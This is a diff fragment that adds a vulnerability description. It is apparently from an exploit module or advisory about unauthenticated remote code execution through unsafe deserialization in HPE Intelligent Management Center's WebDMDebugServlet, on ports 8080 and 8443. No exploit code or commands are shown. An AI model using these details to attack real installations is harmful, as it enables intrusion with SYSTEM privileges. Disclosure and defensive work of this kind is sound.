+        This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of
+        Hewlett Packard Enterprise Intelligent Management Center. Authentication is not required to exploit
+        this vulnerability.
+
+        The specific flaw exists within the WebDMDebugServlet, which listens on TCP ports 8080 and 8443 by
+        default. The issue results from the lack of proper validation of user-supplied data, which can result
+        in deserialization of untrusted data. An attacker can leverage this vulnerability to execute arbitrary
+        code in the context of SYSTEM.
